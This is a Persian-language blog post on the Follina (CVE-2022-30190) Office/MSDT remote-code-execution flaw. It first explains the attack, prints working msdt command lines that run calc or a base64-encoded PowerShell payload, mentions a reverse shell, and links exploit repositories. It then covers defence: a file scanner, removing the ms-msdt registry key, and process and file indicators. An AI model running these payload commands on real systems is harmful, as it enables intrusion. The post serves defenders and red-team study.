بررسی آسیب پذیری Follina

0 511

سلام و ادب خدمت دوستان عزیز امیدوارم حالتون خوب باشه،در initial access که جزو پروسه ردتیمینگ و در حملات client access ما تکنیک های متفاوتی میتوانیم اجرا کنیم اعم از macro ها در نرم افزار های گروه آفیس و..

حال آسیب پذیری rce را بررسی میکنیم که در ویژگی شبیه macro به اسم remote template که با پروتکلی به اسم msdt این اتفاق صورت میگیره که باید گفت بر روی wordو teams و excel و outlook و Foxit PDF صورت میگیره ناگفته نماند که به صورت مفرد هم میتوان با استفاده از اکسپلویتی و اجرای کامندی هم ازین اسیب پذیری بهره ببریم در واقع ما میتونیم به صورت ریموت یک فایل html را اجرا کنیم که منطقا ربطی به ماکرو ها ندارد و ما ماکرو را هم غیر فعال کنیم ازین تکنیک میتوان استفاده کرد.

حال ما reverse shell زدیم با اکسپلویت موجود و فایل .doc ایجاد شد و باید در سیستم هدف اجرا کنیم

که پس از اجرا این اتفاق می افتد و در پس زمینه شل ما اجرا میشد(ناگفته نماند بجای شل هر برنامه ای میتوان اجرا کرد

پس از اجرا دسرسی ما برمیگرده!

حال نکته ای که هست

با اجرای این خط کامند

msdt /id PCWDiagnostic /skip force /param \”IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process(‘calc’))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\”

ماشین حساب اجرا میشود

و با اجرای

msdt:/id PCWDiagnostic /skip force /param \\”IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]’+[char]58+[char]58+’UTF8.GetString([System.Convert]’+[char]58+[char]58+’FromBase64String(‘+[char]34+'{base64_payload}’+[char]34+’))’))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\”

جای base64_payload پیلود ما اجرا خواهد شد به خودی خود

برای اجرای این مورد از ابزار های زیر میتوان به راحتی استفاده کرد

https://github.com/Hrishikesh7665/Follina_Exploiter_CLI

https://github.com/AchocolatechipPancake/MS-MSDT-Office-RCE-Follina

https://github.com/JohnHammond/msdt-follina

این هم فایل html مورد نظر هستش

https://github.com/rayorole/CVE-2022-30190

خب پس از تست آسیب پذیری میرسیم به اینکه چاره چیست؟

اول برای تست کردن اینکه ایا فایلی الوده هست یا خیر

دو راه وجود دارد

راه اول این است که فایل دریافتی را به zip تبدیل کنیم و خب \word_rels\Document.xml.rels رو بررسی کنیم که شاید دانشش را نداشته باشید

برای اینکار ابزاری برای تست فایل ها دیدم

https://github.com/ErrorNoInternet/FollinaScanner

که با زبان go هم نوشته شده و میتونید استفاده کنید

در ادامه برای جلوگیری ازاین اسیب پذیری هم

در رجیستری

مسیر HKEY_CLASSES_ROOT\ms-msdt را حذف میکنیم

نکته دیگه ای که اهمیت دارد این است حال ما برای شناسایی اینکه ایا اجرا شده این اسیب پذیری در سیستم یا خیر چه باید کنیم؟

اگر به صورت کامندی صورت گرفته باشد باید

در پروسه ها به دنبال msdt و sdiaghost و conhost بگردیم

حال اگر به صورت ورد اجرا شود

پروسه winword و msiexec و mshta و msdt مشکوک میتونه باشه

نکته بعدی که میتونه اهمیت داشته باشه

به هر طریقی که ما اجرا کنیم

یک فایل xml ایجاد میشه که مشخص میکنه این اتفاق افتاده(البته خیلی این مورد اهمیت نداره جون میتونه هکر بعد از اقدامش پاکشون کنه )

در مسیر appdata/local/diagnostics هست

و خب بسیاری اقدامات دیگر که بنده این موارد رو به نظرم آمد مطرح کنم

امیدوارم برایتان مفید باشد

موفق باشید.

 

ارسال یک پاسخ

آدرس ایمیل شما منتشر نخواهد شد.